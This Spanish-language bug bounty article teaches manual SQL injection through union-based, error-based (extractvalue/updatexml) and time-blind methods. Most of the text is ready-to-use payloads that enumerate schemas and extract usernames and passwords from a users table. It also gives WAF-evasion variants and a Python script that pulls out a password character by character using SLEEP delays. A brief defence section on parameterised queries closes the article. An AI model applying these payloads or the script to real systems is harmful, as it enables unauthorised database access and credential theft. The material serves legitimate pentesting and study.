bug-bounty

SQL Injection Manual Avanzada

Técnicas Union, Error-based y Time-blind para exfiltrar datos sin herramientas automáticas.

Pentester
25 minutos
CVSS 9.8
Enero 2026

SQL Injection Manual: Más Allá de SQLMap

Las herramientas automáticas como SQLMap son excelentes para encontrar vulnerabilidades rápidamente, pero en entornos de Bug Bounty competitivos o aplicaciones bien protegidas, necesitas técnicas manuales avanzadas que las herramientas no detectan.

Esta guía cubre tres técnicas avanzadas de exfiltración manual:

  • Union-based SQLi: Combinar consultas para extraer datos directamente
  • Error-based SQLi: Forzar errores verbosos que filtran información
  • Time-blind SQLi: Inferir datos mediante retrasos temporales

1. Union-based SQL Injection

La técnica UNION permite combinar los resultados de dos consultas SELECT en una sola respuesta. Es la forma más directa de exfiltrar datos cuando la aplicación muestra resultados en pantalla.

Paso 1: Detectar el Número de Columnas

Antes de usar UNION, necesitas saber cuántas columnas devuelve la consulta original:

Detectar número de columnas con ORDER BY
sql
-- Prueba con ORDER BY incrementando hasta que falle
https://target.com/products?id=1 ORDER BY 1--
https://target.com/products?id=1 ORDER BY 2--
https://target.com/products?id=1 ORDER BY 3--
https://target.com/products?id=1 ORDER BY 4--  ❌ Error = 3 columnas

-- Alternativa con UNION SELECT NULL
https://target.com/products?id=1 UNION SELECT NULL--  ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL--  ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL,NULL--  ✅ Funciona = 3 columnas

Paso 2: Identificar Columnas con Tipos de Datos Compatibles

No todas las columnas aceptan strings. Identifica cuáles son compatibles:

Probar tipos de datos en cada columna
sql
-- Probar cada columna con un string
https://target.com/products?id=1 UNION SELECT 'a',NULL,NULL--
https://target.com/products?id=1 UNION SELECT NULL,'a',NULL--
https://target.com/products?id=1 UNION SELECT NULL,NULL,'a'--  ✅ Funciona

-- Si la columna acepta strings, podemos inyectar datos ahí

Paso 3: Exfiltrar Datos de Interés

Extracción de datos sensibles
sql
-- Obtener versión de la base de datos
' UNION SELECT NULL,NULL,@@version--

-- Listar todas las bases de datos (MySQL)
' UNION SELECT NULL,NULL,schema_name FROM information_schema.schemata--

-- Listar tablas de una base de datos
' UNION SELECT NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='target_db'--

-- Listar columnas de una tabla
' UNION SELECT NULL,NULL,column_name FROM information_schema.columns WHERE table_name='users'--

-- Extraer credenciales
' UNION SELECT NULL,username,password FROM users--

-- Concatenar múltiples columnas en una (cuando solo una columna es visible)
' UNION SELECT NULL,NULL,CONCAT(username,':',password) FROM users--

Evasión de WAF

Si el WAF bloquea UNION, prueba:
  • /*!UNION*/ (comentarios MySQL inline)
  • UnIoN (case mixing)
  • UNION/**/SELECT (espacios con comentarios)

2. Error-based SQL Injection

Cuando la aplicación no muestra resultados de SELECT pero sí muestra errores SQL detallados, podemos forzar errores que filtren información en el mensaje de error.

Técnica: ExtractValue (MySQL)

Exfiltración mediante errores XML
sql
-- Extraer versión de MySQL
' AND extractvalue(1,concat(0x7e,version()))--
-- Error: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'

-- Extraer nombre de la base de datos actual
' AND extractvalue(1,concat(0x7e,database()))--
-- Error: XPATH syntax error: '~target_db'

-- Extraer primer usuario
' AND extractvalue(1,concat(0x7e,(SELECT username FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~admin'

-- Extraer contraseña del admin
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='admin')))--
-- Error: XPATH syntax error: '~$2y$10$abcd1234....'

Técnica: UpdateXML (Alternativa)

Otra función XML para forzar errores
sql
-- Mismo concepto, diferente función
' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--

-- Extraer todas las tablas (limitado por longitud de error)
' AND updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--

Limitación de Longitud

Los mensajes de error tienen límite de caracteres (~32 en MySQL). Para exfiltrar datos largos:
  • Usa SUBSTRING() para extraer en trozos
  • Usa LIMIT para iterar sobre filas

3. Time-blind SQL Injection

La técnica más sigilosa pero lenta. Cuando la aplicación no muestra ni resultados ni errores, podemos inferir información mediante retrasos temporales.

Concepto Básico

Inferir datos bit a bit mediante tiempo de respuesta
sql
-- Si la condición es TRUE, retrasa 5 segundos
' AND IF(1=1, SLEEP(5), 0)--  ⏱️ Respuesta en 5 segundos = TRUE
' AND IF(1=2, SLEEP(5), 0)--  ⏱️ Respuesta inmediata = FALSE

-- Verificar si existe la tabla 'users'
' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--

-- Verificar longitud del nombre de usuario admin
' AND IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(5), 0)--

-- Extraer primer caracter del username (A=65 en ASCII)
' AND IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=65, SLEEP(5), 0)--

Script de Automatización (Python)

exploit_time_blind.py
python
import requests
import time
import string

url = "https://target.com/search"
charset = string.ascii_lowercase + string.digits + "_"

def check_char(position, char):
    """Verifica si el caracter en la posición coincide"""
    payload = f"' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),{position},1))={ord(char)}, SLEEP(3), 0)--"
    
    start = time.time()
    requests.get(url, params={"q": payload}, timeout=10)
    elapsed = time.time() - start
    
    return elapsed > 3  # Si tardó más de 3 seg, el char es correcto

def extract_data(length=32):
    """Extrae dato caracter por caracter"""
    result = ""
    for i in range(1, length + 1):
        for char in charset:
            if check_char(i, char):
                result += char
                print(f"[+] Caracter {i}: {result}")
                break
    return result

# Primero detectar longitud
# Luego extraer caracter a caracter
password = extract_data(32)
print(f"[!] Password extraída: {password}")

Limitaciones de Time-blind

  • Muy lento: Extraer 32 caracteres puede tomar horas
  • Detectable por IDS: Miles de requests con delays sospechosos
  • Sensible a latencia de red: Falsos positivos por lag

Comparación de Técnicas

TécnicaVelocidadStealthRequisitos
Union-based⚡ Muy rápida🔴 Muy detectableResultados visibles en página
Error-based⚡ Rápida🟡 ModeradaErrores SQL verbosos
Time-blind🐌 Muy lenta🟢 Menos detectableNinguno (funciona siempre)

Cómo Defenderse

Mejores Prácticas

  • Prepared Statements: Usa SIEMPRE consultas parametrizadas (PDO, MySQLi, ORM)
  • Whitelist Validation: Valida inputs contra lista permitida, no blacklist
  • Least Privilege: Usuario de BD con permisos mínimos (no DBA)
  • Errores genéricos: Nunca mostrar errores SQL detallados en producción
  • WAF: Web Application Firewall con reglas anti-SQLi
Por Aitana Security Team